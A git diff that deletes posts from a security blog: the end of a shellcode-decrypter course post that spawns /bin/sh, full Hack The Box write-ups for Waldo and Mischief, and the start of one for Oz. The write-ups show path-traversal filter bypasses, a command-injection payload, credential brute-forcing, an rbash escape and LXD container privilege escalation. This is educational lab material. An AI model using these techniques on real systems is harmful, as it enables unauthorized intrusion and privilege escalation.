-Encrypted shellcode: 0x79,0x46,0x15,0x27,0xa6,0xdb,0xbc,0x5,0x84,0x97,0x83,0x7c,0x4f,0xed,0x81,0xd,0xf,0x93,0x8e,0x7c,0xd3,0xa5,0x74,0x99,0xaa,0xcd,0xbe,0xd0,0x49,0x54,0xce,0x9d,0xe7,0x4a,0x64,0x95,0xc3,0x83,0xb8,0x58,0x4a,0xe4,0x87,0x49,0xb3,0x6e,0x6a,0x32,0x76,
-```
-
-Next, the key, nonce and encrypted shellcode are copy/pasted into the `decrypter.go` source file.
-
-Compiling the decrypter uses: `go build -o decrypter decrypter.go`. There is however another step that needs to be executed after for the shellcode to work. By default (in newer Golang versions at least), the stack memory space is not marked executable so our shellcode won't work since it resides on the stack:
-
-The output below shows the decrypter segfaulting when we execute it:
-```
-slemire@slae:~/slae32/assignment7$ ./decrypter
-...
-fatal error: unexpected signal during runtime execution
-[signal SIGSEGV: segmentation violation code=0x2 addr=0x841e100 pc=0x841e100]
-
-runtime stack:
-runtime.throw(0x80ea75c, 0x2a)
- /usr/local/go/src/runtime/panic.go:608 +0x6a
-runtime.sigpanic()
- /usr/local/go/src/runtime/signal_unix.go:374 +0x239
-
-goroutine 1 [syscall]:
-runtime.cgocall(0x80bf970, 0x842a718, 0x0)
- /usr/local/go/src/runtime/cgocall.go:128 +0x6e fp=0x842a704 sp=0x842a6ec pc=0x804afee
-main._Cfunc_call_shellcode(0x841e100)
- _cgo_gotypes.go:43 +0x33 fp=0x842a718 sp=0x842a704 pc=0x80bf613
-main.main()
- /home/slemire/slae32/assignment7/decrypter.go:37 +0x2a1 fp=0x842a7d0 sp=0x842a718 pc=0x80bf8f1
-runtime.main()
- /usr/local/go/src/runtime/proc.go:201 +0x206 fp=0x842a7f0 sp=0x842a7d0 pc=0x806cf76
-runtime.goexit()
- /usr/local/go/src/runtime/asm_386.s:1324 +0x1 fp=0x842a7f4 sp=0x842a7f0 pc=0x80908f1
-```
-
-To resolve this problem we can make the stack executable again by using the `execstack` tool as follows. The shellcode is successfully decrypted and executed, spawning `/bin/sh`.
-```
-slemire@slae:~/slae32/assignment7$ execstack -s decrypter
-slemire@slae:~/slae32/assignment7$ ./decrypter
-Shellcode code decrypter
-Decrypted shellcode: 0xeb,0x1a,0x5e,0x31,0xdb,0x88,0x5e,0x7,0x89,0x76,0x8,0x89,0x5e,0xc,0x8d,0x1e,0x8d,0x4e,0x8,0x8d,0x56,0xc,0x31,0xc0,0xb0,0xb,0xcd,0x80,0xe8,0xe1,0xff,0xff,0xff,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x41,0x42,0x42,0x42,0x42,0x43,0x43,0x43,0x43,
-Shellcode length: 49
-Executing shellcode...
-$ id
-uid=1000(slemire) gid=1000(slemire) groups=1000(slemire),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
-```
-
-This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
-
-[http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/](http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/)
-
-Student ID: SLAE-1236
-
-All source files can be found on GitHub at [https://github.com/slemire/slae32](https://github.com/slemire/slae32)
\ No newline at end of file
diff --git a/_posts/2018-12-15-htb-writeup-waldo.md b/_posts/2018-12-15-htb-writeup-waldo.md
deleted file mode 100644
index 090bebee70..0000000000
--- a/_posts/2018-12-15-htb-writeup-waldo.md
+++ /dev/null
@@ -1,330 +0,0 @@
----
-layout: single
-title: Waldo - Hack The Box
-date: 2018-12-15
-classes: wide
-header:
- teaser: /assets/images/htb-writeup-waldo/waldo.png
-categories:
- - hackthebox
- - infosec
-tags:
- - hackthebox
- - linux
- - capabilities
- - php
-
----
-
-## Linux / 10.10.10.87
-
-
-
-This blog post is a writeup of the Waldo machine from Hack the Box.
-
-### Summary
-------------------
-- The webserver has a vulnerable function that can be used to browse directories and read files
-- We can read the SSH private key from the `nobody` user home directory and log in as `nobody`
-- We're within a container but we can log in with SSH as user `monitor` to the host (127.0.0.1)
-- There's a logMonitor application running with elevated capabilities (it can read log files even if not running as root)
-- This is a hint that we should be looking at capabilities of files (`cap_dac_read_search+ei`)
-- We look at the entire filesystem for files with special cap's and we find that the `tac` application has that capabily and we can read `/root/root.txt`
-
-### Detailed steps
-------------------
-
-### Nmap
-
-There's only a webserver and an SSH service running on this box
-
-```
-root@darkisland:~# nmap -sC -sV -p- 10.10.10.87
-Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-04 21:08 EDT
-Nmap scan report for waldo.htb (10.10.10.87)
-Host is up (0.018s latency).
-Not shown: 65532 closed ports
-PORT STATE SERVICE VERSION
-22/tcp open ssh OpenSSH 7.5 (protocol 2.0)
-| ssh-hostkey:
-| 2048 c4:ff:81:aa:ac:df:66:9e:da:e1:c8:78:00:ab:32:9e (RSA)
-| 256 b3:e7:54:6a:16:bd:c9:29:1f:4a:8c:cd:4c:01:24:27 (ECDSA)
-|_ 256 38:64:ac:57:56:44:d5:69:de:74:a8:88:dc:a0:b4:fd (ED25519)
-80/tcp open http nginx 1.12.2
-|_http-server-header: nginx/1.12.2
-| http-title: List Manager
-|_Requested resource was /list.html
-|_http-trane-info: Problem with XML parsing of /evox/about
-8888/tcp filtered sun-answerbook
-
-Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
-Nmap done: 1 IP address (1 host up) scanned in 20.87 seconds
-```
-
-### Web enumeration
-
-The webpage is a simple application that displays and manages "lists", and is using Javascript/Ajax.
-
-
-
-
-
-In the javascript source code (list.js), the `readFile` function can be abused to read source code of other PHP files in the directory:
-
-```js
-function readFile(file){
- var xhttp = new XMLHttpRequest();
- xhttp.open("POST","fileRead.php",false);
- xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
- xhttp.send('file=' + file);
- if (xhttp.readyState === 4 && xhttp.status === 200) {
- return xhttp.responseText;
- }else{
- }
-}
-```
-
-
-
-The various files we read are:
- - [fileRead.php](fileRead.php)
- - [fileWrite.php](fileWrite.php)
- - [fileDelete.php](fileDelete.php)
- - [dirRead.php](dirRead.php)
-
- The first thing I tried was to use `fileWrite` to write an arbitrary PHP file in the `.list` directory but the filename is derived from the `listnum` parameter which is checked to make sure it's numeric (PHP's is_numeric() function). So we can't write files with the appropriate extension and execute code.
-
- Next, I looked at the dirRead.php file to try to enumerate the file system. The function uses a `str_array` filter to replace characters that could be used for path traversal:
-
- ```
- str_replace(array("../", "..\"), "", $_POST['path'])
- ```
-
-So something like `../../../../../` will get replaced with an empty string which is going to default to the current directory.
-
-We can verify with using the interactive PHP interpreter:
-
-```
-root@darkisland:~# php -a
-Interactive mode enabled
-
-php >
-php > echo str_replace( array("../", "..\\"), "", array("../../../../"))[0];
-php >
-php > echo str_replace( array("../", "..\\"), "", array("this_is_not_blacklisted"))[0];
-this_is_not_blacklisted
-```
-
-We can bypass the filter by using the following sequence: `....//....//....//....//`
-
-```
-php > echo str_replace( array("../", "..\\"), "", array("....//....//....//....//"))[0];
-../../../../
-```
-
-Running it on the target system, we are able to navigate to the user directory:
-
-
-
-The `.monitor` file looks interesting, we'll use the `fileRead.php` function to read it:
-
-
-
-### Initial shell access
-
-Using the SSH private key we obtained, we can log in as user `nobody`:
-
-```
-root@darkisland:~/hackthebox/Machines/Waldo# ssh -i waldo.key nobody@10.10.10.87
-Welcome to Alpine!
-
-The Alpine Wiki contains a large amount of how-to guides and general
-information about administrating Alpine systems.
-See .
-waldo:~$ ls
-user.txt
-waldo:~$ cat user.txt
-32768b
-```
-
-### Pivoting to the host OS and privesc
-
-There isn't much else we can do as user `nobody` since we are in a container.
-
-We can however pivot to the host OS by re-using the same key and logging in as user `monitor`:
-
-```
-waldo:~/.ssh$ ssh -i .monitor monitor@127.0.0.1
-The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
-ECDSA key fingerprint is SHA256:YHb7KyiwRxyN62du1P80KmeA9Ap50jgU6JlRaXThs/M.
-Are you sure you want to continue connecting (yes/no)? yes
-Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts.
-Linux waldo 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1 (2018-04-29) x86_64
- &.
- @@@,@@/ %
- #*/%@@@@/.&@@,
- @@@#@@#&@#&@@@,*%/
- /@@@##########@@&*(*
- (@################%@@@@@. /**
- @@@@############%@@@@@@@@@@@@@@@@@@@@@@@@%((/
- %@@@@%##########&@@@.... .#%#@@@@@@@#
- @@&%#########@@@@/ */@@@%(((@@@%
- @@@#%@@%@@@, *&@@@&%(((#((((@@(
- /(@@@@@@@ *&@@@@%((((((((((((#@@(
- %/#@@@/@ @#/@ ..@@@@%(((((((((((#((#@@@@@@@@@@@@,
- %@*(@#%@., /@@@@&(((((((((((((((&@@@@@@######%%@@@@# &
- *@@@@@# .&@@@#(((#(#((((((((#%@@@@@%###&@@@@@@@@@&%##&@@@@@@/
- /@@ #@@@(((((((((((#((@@@@@%%%%@@@@%#########%&@@@@@@@@&
- *@@ *%@@@@#((((((((((((((#@@@@@@@@@@%####%@@@@@@@@@@@@###&@@@@@@@&
- %@/ .&%@@%#(((((((((((((((#@@@@@@@####%@@@%#############%@@@&%##&@@/
- @@@@@@%(((((((((((##(((@@@@&%####%@@@%#####&@@@@@@@@@@@@@@@#&@@@@@@@@@/
- @@@&(((#((((((((((((#@@@@@&@@@@######@@@###################&@@@####%@@*
- @@#(((((((((((((#@@@@%&@@.,,.*@@@%#####@@@@@@@@@@@@@@@@@@@%####%@@@@@@@@@@
- *@@%((((((((#@@@@@@@%#&@@,,.,,.&@@@#####################%@@@@@@%######&@@.
- @@@#(#&@@@@@#&@@@@@/,,,,,,,,@@@#####&@@@@@@@@&&%######%@@@@@@@@@@@
- @@@@@@&%&@@@%#&@%%@@@@/,,,,,,,,,,/@@@@@@@#/,,.*&@@%&@@@@@@&%#####%@@@@.
- .@@@###&@@@%%@(,,,%@&,.,,,,,,,,,,,,,.*&@@@@&(,*@@%%@@@@@@@@@@@@*
- @@%##%@@/@@@%/@@@@@@@@@#,,,,.../@@@@@%#%&@@@@(&@&@&@@@@(
- .@@#@@,,/@@@@&(. .&@@@&,,,.&@@/ #@@%@@@@@&@@@/
- *@@@@@&@@.*@@@ %@@@*,&@@ *@@@@@&.#/,@/
- *@@&*#@@@@@@@& #@( .@@@@@@& ,@@@, @@@@@(,@/@@
- *@@/@#.#@@@@@/ %@@@, .@@&%@@@ &@& @@*@@*(@@#
- (@@/@,,@@&@@@ &@@,,(@@& .@@%/@@,@@
- /@@@*,@@,@@@* @@@,,,,,@@@@. *@@@%,@@**@#
- %@@.%@&,(@@@@, /&@@@@,,,,,,,%@@@@@@@@@@%,,*@@,#@,
- ,@@,&@,,,,(@@@@@@@(,,,,,.,,,,,,,,**,,,,,,.*@/,&@
- &@,*@@.,,,,,..,,,,&@@%/**/@@*,,,,,&(.,,,.@@,,@@
- /@%,&@/,,,,/@%,,,,,*&@@@@@#.,,,,,.@@@(,,(@@@@@(
- @@*,@@,,,#@@@&*..,,,,,,,,,,,,/@@@@,*(,,&@/#*
- *@@@@@(,,@*,%@@@@@@@&%@@@@@@@/,,,,,,,@@
- @@*,,,,,,,,,.*/(//*,..,,,,,,,,,,,&@,
- @@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@
- &@&,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@#
- %@(,,,,,,,,,,,,,,,,,,,,,,,,,,,@@
- ,@@,,,,,,,,@@@&&&%&@,,,,,..,,@@,
- *@@,,,,,,,.,****,..,,,,,,,,&@@
- (@(,,,.,,,,,,,,,,,,,,.,,,/@@
- .@@,,,,,,,,,,,,,...,,,,,,@@
- ,@@@,,,,,,,,,,,,,,,,.(@@@
- %@@@@&(,,,,*(#&@@@@@@,
-
- Here's Waldo, where's root?
-Last login: Tue Jul 24 08:09:03 2018 from 127.0.0.1
--rbash: alias: command not found
-```
-
-It seems we are in a restricted bash shell since we can't run arbitrary comands:
-
-```
-monitor@waldo:~$ cd /
--rbash: cd: restricted
-monitor@waldo:~$ ls
-app-dev bin
-monitor@waldo:~$ cd bin
--rbash: cd: restricted
-monitor@waldo:~$ ls
-app-dev bin
-monitor@waldo:~$ ls bin
-ls most red rnano
-monitor@waldo:~$
-```
-
-We can easily bypass rbash by skipping the profile of the user with the `-t bash --noprofile` arguments:
-
-```
-waldo:~/.ssh$ ssh -i .monitor monitor@127.0.0.1 -t bash --noprofile
-monitor@waldo:~$
-```
-
-However our PATH is no longer set so we'll need to set it manually:
-
-```
-monitor@waldo:~$ echo $PATH
-/home/monitor/bin:/home/monitor/app-dev:/home/monitor/app-dev/v0.1
-monitor@waldo:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH
-monitor@waldo:~$ echo $PATH
-/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/home/monitor/bin:/home/monitor/app-dev:/home/monitor/app-dev/v0.1
-```
-
-Now that we have access with a regular shell, we can start looking around.
-
-In the `app-dev` directory of the `monitor` home directory, there is a log monitoring application along with the source code. The application simply reads hardcoded log files based on the CLI argument passed to it:
-
-```c
-[...]
-case 'a' :
- strncpy(filename, "/var/log/auth.log", sizeof(filename));
- printFile(filename);
- break;
- case 'A' :
- strncpy(filename, "/var/log/alternatives.log", sizeof(filename));
- printFile(filename);
- break;
- case 'b' :
- strncpy(filename, "/var/log/btmp",sizeof(filename));
- printFile(filename);
- break;
- case 'd' :
- strncpy(filename, "/var/log/daemon.log",sizeof(filename));
- printFile(filename);
- break;
- case 'D' :
- strncpy(filename, "/var/log/dpkg.log",sizeof(filename));
- printFile(filename);
- break;
-[...]
-```
-
-We can modify the source code and re-compile it but it's not running as root so any modifications we make like adding a `/bin/bash` shell argument option will only result in a shell running as user `monitor`. At first, it seemed like this was a box with a cronjob running every few minutes that would compile and run the program but this isn't the case.
-
-Next, we looked at the `v0.1` directory that contains yet another copy of the software. The interesting part here is that the application is able to read log files even though it doesn't have the SUID bit set:
-
-```
-monitor@waldo:~/app-dev$ ./logMonitor -a
-Cannot open file
-
-monitor@waldo:~/app-dev/v0.1$ ./logMonitor-0.1 -a
-Aug 4 21:17:01 waldo CRON[938]: pam_unix(cron:session): session opened for user root by (uid=0)
-Aug 4 21:17:01 waldo CRON[938]: pam_unix(cron:session): session closed for user root
-Aug 4 22:00:37 waldo sshd[980]: Accepted publickey for monitor from 127.0.0.1 port 57202 ssh2: RSA SHA256:Kl+zDjbDx4fQ7xVvGg6V3RhjezqB1gfe2kWqm1AMD0c
-[...]
-
-monitor@waldo:~/app-dev$ ls -l logMonitor
--rwxrwx--- 1 app-dev monitor 13704 Jul 24 08:10 logMonitor
-monitor@waldo:~/app-dev$ ls -l v0.1/logMonitor-0.1
--r-xr-x--- 1 app-dev monitor 13706 May 3 16:50 v0.1/logMonitor-0.1
-```
-
-So, both files are owned by the same user and do not have the SUID bit set... Why is the v0.1 file able to read log files then?
-
-Let's look at file capabilities:
-
-```
-monitor@waldo:~$ getcap -r *
-app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei
-```
-
-The `cap_dac_read_search` capability is used to `Bypass file read permission checks and directory read and execute permission checks`. So basically, if a file has this permission it can read anything.
-
-We can't use this file to read anything other than log files but maybe there are other similar files on the host:
-
-```
-monitor@waldo:~$ getcap -r /* 2>/dev/null
-/home/monitor/app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei
-/usr/bin/tac = cap_dac_read_search+ei
-```
-
-What is this `tac` binary?
-
-```
-monitor@waldo:~$ /usr/bin/tac --help
-Usage: /usr/bin/tac [OPTION]... [FILE]...
-Write each FILE to standard output, last line first.
-```
-
-Ok, we can use this to read files, let's grab root.txt and finish this box:
-
-```
-monitor@waldo:~$ tac /root/root.txt
-8fb67c
-```
\ No newline at end of file
diff --git a/_posts/2019-01-05-htb-writeup-mischief.md b/_posts/2019-01-05-htb-writeup-mischief.md
deleted file mode 100644
index 37569a6a0c..0000000000
--- a/_posts/2019-01-05-htb-writeup-mischief.md
+++ /dev/null
@@ -1,335 +0,0 @@
----
-layout: single
-title: Mischief - Hack The Box
-date: 2019-01-05
-classes: wide
-header:
- teaser: /assets/images/htb-writeup-mischief/mischief_logo.png
-categories:
- - hackthebox
- - infosec
-tags:
- - hackthebox
- - linux
- - lxc
- - containers
- - unintended
----
-
-This blog post is a writeup of the Mischief machine from Hack the Box using the unintended LXC container privesc method.
-
-## Linux / 10.10.10.92
-
-
-
-### Summary
-------------------
-- SNMP is enabled and the default `public` SNMP community string is configured
-- Using SNMP, we find that a Python SimpleHTTPServer is running with basic authentication, the credentials are passed as command arguments so we can see those in the snmpwalk
-- The webserver is running on port 3366 and we can log in with the credentials we found
-- There is another set of credentials displayed on the webpage but we don't know what these are for yet
-- Using SNMP, we find there is an IPv6 address configured on the server and nmap shows an Apache server running on port 80
-- We can log in to the webserver with the password we found on the other page, we just have to guess/bruteforce the username which is `administrator`
-- There's a command injection vulnerability on the PHP page that we can exploit to read a `credentials` file in the loki home directory
-- We can log in with SSH as user `loki` now and we see that we are part of the `lxd` group
-- We can priv esc by uploading a container, setting it as privileged and mounting the local filesystem within the container
-- The root.txt flag in /root is a fake one, but doing a find command on the entire filesystem reveals it's real location
-
-### Tools/Blogs used
-
-- [http://docwiki.cisco.com/wiki/How_to_get_IPv6_address_via_SNMP](http://docwiki.cisco.com/wiki/How_to_get_IPv6_address_via_SNMP)
-- [https://dominicbreuker.com/post/htb_calamity/](https://dominicbreuker.com/post/htb_calamity/)
-
-### Detailed steps
-------------------
-
-### Nmap
-
-There's only a webserver and the SSH service running on this box
-
-```
-root@violentunicorn:~/hackthebox/Machines/Mischief# nmap -sC -sV -p- 10.10.10.92
-Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-08 18:57 EDT
-Nmap scan report for 10.10.10.92
-Host is up (0.015s latency).
-Not shown: 65533 filtered ports
-PORT STATE SERVICE VERSION
-22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
-| ssh-hostkey:
-| 2048 2a:90:a6:b1:e6:33:85:07:15:b2:ee:a7:b9:46:77:52 (RSA)
-| 256 d0:d7:00:7c:3b:b0:a6:32:b2:29:17:8d:69:a6:84:3f (ECDSA)
-|_ 256 3f:1c:77:93:5c:c0:6c:ea:26:f4:bb:6c:59:e9:7c:b0 (ED25519)
-3366/tcp open caldav Radicale calendar and contacts server (Python BaseHTTPServer)
-| http-auth:
-| HTTP/1.0 401 Unauthorized\x0D
-|_ Basic realm=Test
-|_http-server-header: SimpleHTTP/0.6 Python/2.7.15rc1
-|_http-title: Site doesn't have a title (text/html).
-Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
-
-Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
-Nmap done: 1 IP address (1 host up) scanned in 127.89 seconds
-```
-
-### SNMP recon
-
-SNMP is open on UDP port 161
-
-```
-root@violentunicorn:~/hackthebox/Machines/Mischief# nmap -sU -F 10.10.10.92
-Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-08 19:07 EDT
-Nmap scan report for 10.10.10.92
-Host is up (0.014s latency).
-Not shown: 99 open|filtered ports
-PORT STATE SERVICE
-161/udp open snmp
-
-Nmap done: 1 IP address (1 host up) scanned in 3.03 seconds
-```
-
-SNMP is using the default `public` community string:
-
-```
-root@violentunicorn:~/hackthebox/Machines/Mischief# onesixtyone 10.10.10.92
-Scanning 1 hosts, 2 communities
-10.10.10.92 [public] Linux Mischief 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64
-```
-
-We can get the list of processes with this nmap script, or by doing an `snmpwalk`:
-
-```
-root@violentunicorn:~/hackthebox/Machines/Mischief# nmap -sU -p 161 --script=snmp-processes 10.10.10.92
-Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-08 19:15 EDT
-Nmap scan report for 10.10.10.92
-Host is up (0.014s latency).
-
-PORT STATE SERVICE
-161/udp open snmp
-| snmp-processes:
-[...]
-| 631:
-| Name: python
-| Path: python
-| Params: -m SimpleHTTPAuthServer 3366 loki:godofmischiefisloki --dir /home/loki/hosted/
-[...]
-```
-
-We found some credentials in there: `loki / godofmischiefisloki`
-
-### Credentials found on the webserver
-
-We can now log in to the webserver with the found credentials:
-
-
-
-On the page we see an image of Loki and two sets of credentials:
-
-- loki / godofmischiefisloki
-- loki / trickeryanddeceit
-
-We already have the first one, we need to find where to use the 2nd one.
-
-The `trickeryanddeceit` password doesn't work on SSH (tried bruteforcing usernames also)
-
-### SNMP recon (part 2)
-
-When we do a full snmpwalk, we pickup IPv6 addresses configured on the interface:
-
-```
-root@violentunicorn:~/hackthebox/Machines/Mischief# snmpwalk -v2c -c public 10.10.10.92 1.3.6.1.2.1.4.34.1.3
-iso.3.6.1.2.1.4.34.1.3.1.4.10.10.10.92 = INTEGER: 2
-iso.3.6.1.2.1.4.34.1.3.1.4.10.10.10.255 = INTEGER: 2
-iso.3.6.1.2.1.4.34.1.3.1.4.127.0.0.1 = INTEGER: 1
-iso.3.6.1.2.1.4.34.1.3.2.16.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1 = INTEGER: 1
-iso.3.6.1.2.1.4.34.1.3.2.16.222.173.190.239.0.0.0.0.2.80.86.255.254.178.24.116 = INTEGER: 2
-iso.3.6.1.2.1.4.34.1.3.2.16.254.128.0.0.0.0.0.0.2.80.86.255.254.178.24.116 = INTEGER: 2
-```
-
-We convert that to hex using a python script:
-
-```
->>> s = "222.173.190.239.0.0.0.0.2.80.86.255.254.178.24.116"
->>> s = s.split(".")
->>> ip = ""
->>> for i in s:
-... ip += hex(int(i))[2:].rjust(2,'0')
-...
->>> print ip
-deadbeef00000000025056fffeb21874
-```
-
-IPv6 address: `dead:beef:0000:0000:0250:56ff:feb2:1874`
-
-We'll add this IPv6 address to our `/etc/hosts`.
-
-### Nmap IPv6
-
-There is another webserver running on port 80 but only listening on IPv6 addresses:
-
-```
-root@violentunicorn:~/hackthebox/Machines/Mischief# nmap -6 -sC -sV -p- dead:beef:0000:0000:0250:56ff:feb2:1874
-Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-08 19:29 EDT
-Nmap scan report for dead:beef::250:56ff:feb2:1874
-Host is up (0.015s latency).
-Not shown: 65533 closed ports
-PORT STATE SERVICE VERSION
-22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
-| ssh-hostkey:
-| 2048 2a:90:a6:b1:e6:33:85:07:15:b2:ee:a7:b9:46:77:52 (RSA)
-| 256 d0:d7:00:7c:3b:b0:a6:32:b2:29:17:8d:69:a6:84:3f (ECDSA)
-|_ 256 3f:1c:77:93:5c:c0:6c:ea:26:f4:bb:6c:59:e9:7c:b0 (ED25519)
-80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
-|_http-server-header: Apache/2.4.29 (Ubuntu)
-|_http-title: 400 Bad Request
-Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
-
-Host script results:
-| address-info:
-| IPv6 EUI-64:
-| MAC address:
-| address: 00:50:56:b2:18:74
-|_ manuf: VMware
-
-Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
-Nmap done: 1 IP address (1 host up) scanned in 19.58 seconds
-```
-
-### Command execution panel
-
-The web server is running a PHP application:
-
-
-
-
-
-It's probably using the 2nd password we found but we don't know the username (loki doesn't work here.)
-
-We'll use Hydra to bruteforce the username:
-
-```
-root@violentunicorn:~/hackthebox/Machines/Mischief# hydra -I -L /root/SecLists/Usernames/top_shortlist.txt -p trickeryanddeceit mischief http-post-form "/login.php:user=^USER^&password=^PASS^:credentials do not match"
-Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
-
-Hydra (http://www.thc.org/thc-hydra) starting at 2018-07-08 19:37:12
-[DATA] max 11 tasks per 1 server, overall 11 tasks, 11 login tries (l:11/p:1), ~1 try per task
-[DATA] attacking http-post-form://mischief:80//login.php:user=^USER^&password=^PASS^:credentials do not match
-[80][http-post-form] host: mischief login: administrator password: trickeryanddeceit
-1 of 1 target successfully completed, 1 valid password found
-Hydra (http://www.thc.org/thc-hydra) finished at 2018-07-08 19:37:13
-```
-
-Username is: `administrator`
-
-Once logged in we see:
-
-
-
-There's a hint about a credentials file in the home directory.
-
-The command input is filtered (some commands are blacklisted.)
-
-But we can get the credentials with: `ping -c 2 127.0.0.1; cat /home/loki/c*;`
-
-
-
-Password is `lokiisthebestnorsegod`
-
-We can now SSH with user `loki` and password `lokiisthebestnorsegod`
-
-```
-root@violentunicorn:~/hackthebox/Machines/Mischief# ssh loki@10.10.10.92
-loki@10.10.10.92's password:
-Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-20-generic x86_64)
-
-[...]
-
-loki@Mischief:~$ cat user.txt
-bf5807
-```
-
-### Privesc (unintended method)
-
-Our low privilege user is part of the `lxd` group:
-
-```
-loki@Mischief:~$ id
-uid=1000(loki) gid=1004(loki) groups=1004(loki),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd),1000(lpadmin),1001(sambashare),1002(debian-tor),1003(libvirtd)
-```
-
-So that means we can configure and manage LXC containers on the system.
-
-First, we'll initialize LXD on the box and create a storage pool:
-
-```
-loki@Mischief:~$ lxd init
-Would you like to use LXD clustering? (yes/no) [default=no]:
-Do you want to configure a new storage pool? (yes/no) [default=yes]:
-Name of the new storage pool [default=default]:
-Name of the storage backend to use (btrfs, dir, lvm) [default=btrfs]:
-Create a new BTRFS pool? (yes/no) [default=yes]:
-Would you like to use an existing block device? (yes/no) [default=no]:
-Size in GB of the new loop device (1GB minimum) [default=15GB]: 8
-Would you like to connect to a MAAS server? (yes/no) [default=no]:
-Would you like to create a new network bridge? (yes/no) [default=yes]: no
-Would you like to configure LXD to use an existing bridge or host interface? (yes/no) [default=no]:
-Would you like LXD to be available over the network? (yes/no) [default=no]:
-Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
-Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:
-```
-
-Next, we'll upload a ubuntu container image that we've created on another machine (see: https://dominicbreuker.com/post/htb_calamity/)
-
-```
-root@violentunicorn:~/mischief# scp ubuntu.tar.gz loki@10.10.10.92:
-loki@10.10.10.92's password:
-ubuntu.tar.gz
-```
-
-Then import it, create a new container out of it, configure it as privileged and mount the local filesystem into it:
-
-```
-loki@Mischief:~$ lxc image import ubuntu.tar.gz --alias yolo
-Image imported with fingerprint: 65d3db52d47d12928e8392004207269d1d8d542024b64e1b2c638a7e1c19e42d
-loki@Mischief:~$ lxc init yolo yolo -c security.privileged=true
-Creating yolo
-
-The container you are starting doesn't have any network attached to it.
- To create a new network, use: lxc network create
- To attach a network to a container, use: lxc network attach
-
-loki@Mischief:~$ lxc config device add yolo mydevice disk source=/ path=/mnt/root recursive=true
-Device mydevice added to yolo
-```
-
-Next we start the container and execute a bash shell:
-
-```
-loki@Mischief:~$ lxc config device add yolo mydevice disk source=/ path=/mnt/root recursive=true
-Device mydevice added to yolo
-loki@Mischief:~$ lxc start yolo
-loki@Mischief:~$ lxc exec yolo /bin/bash
-root@yolo:~# cd /mnt/root/root
-root@yolo:/mnt/root/root# ls
-root.txt
-root@yolo:/mnt/root/root# cat root.txt
-The flag is not here, get a shell to find it!
-```
-
-Looks like the flag is hidden somewhere else...
-
-Let's find it:
-
-```
-root@yolo:/mnt/root/root# find /mnt/root -name root.txt 2>/dev/null
-/mnt/root/usr/lib/gcc/x86_64-linux-gnu/7/root.txt
-/mnt/root/root/root.txt
-```
-
-There's another root.txt, let's see...
-
-```
-root@yolo:/mnt/root/root# cat /mnt/root/usr/lib/gcc/x86_64-linux-gnu/7/root.txt
-ae155f
-```
-
-Game over!
diff --git a/_posts/2019-01-12-htb-writeup-oz.md b/_posts/2019-01-12-htb-writeup-oz.md
deleted file mode 100644
index 4a4d432fe0..0000000000
--- a/_posts/2019-01-12-htb-writeup-oz.md
+++ /dev/null
@@ -1,752 +0,0 @@
----
-layout: single
-title: Oz - Hack The Box
-date: 2019-01-12
-classes: wide
-header:
- teaser: /assets/images/htb-writeup-oz/oz_logo.png
-categories:
- - hackthebox
- - infosec
-tags:
- - hackthebox
- - linux
- - sqli
- - ssti
- - containers
----
-
-This blog post is a writeup of the Oz machine from Hack the Box.
-
-Linux / 10.10.10.96
-
-
-
-## Summary
-- There's an SQL injection vulnerability on the port 80 application which allow us to dump the database
-- We can crack the user credentials and log into the ticketing application
-- An SSTI vulnerability allows us to gain RCE and access to this container
-- Using the port-knocking information and SSH key we found earlier we can log in to the host OS
-- The portainer application is exposed and we can use a vulnerability to change the admin password
-- Once logged in, we use the portainer app to create a privileged container and get root access
-
-### Tools/Blogs used
-
-- [tplmap](https://github.com/epinna/tplmap)
-
-## Detailed steps
-
-Only ports 80 and 8080 are accessible on this box.
-
-```
-root@darkisland:~/hackthebox# nmap -p- -sC -sV 10.10.10.96
-Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-02 18:27 EDT
-Nmap scan report for oz.htb (10.10.10.96)
-Host is up (0.016s latency).
-Not shown: 65533 filtered ports
-PORT STATE SERVICE VERSION
-80/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.14)
-|_http-server-header: Werkzeug/0.14.1 Python/2.7.14
-|_http-title: OZ webapi
-|_http-trane-info: Problem with XML parsing of /evox/about
-8080/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.14)
-| http-open-proxy: Potentially OPEN proxy.
-|_Methods supported:CONNECTION
-|_http-server-header: Werkzeug/0.14.1 Python/2.7.14
-| http-title: GBR Support - Login
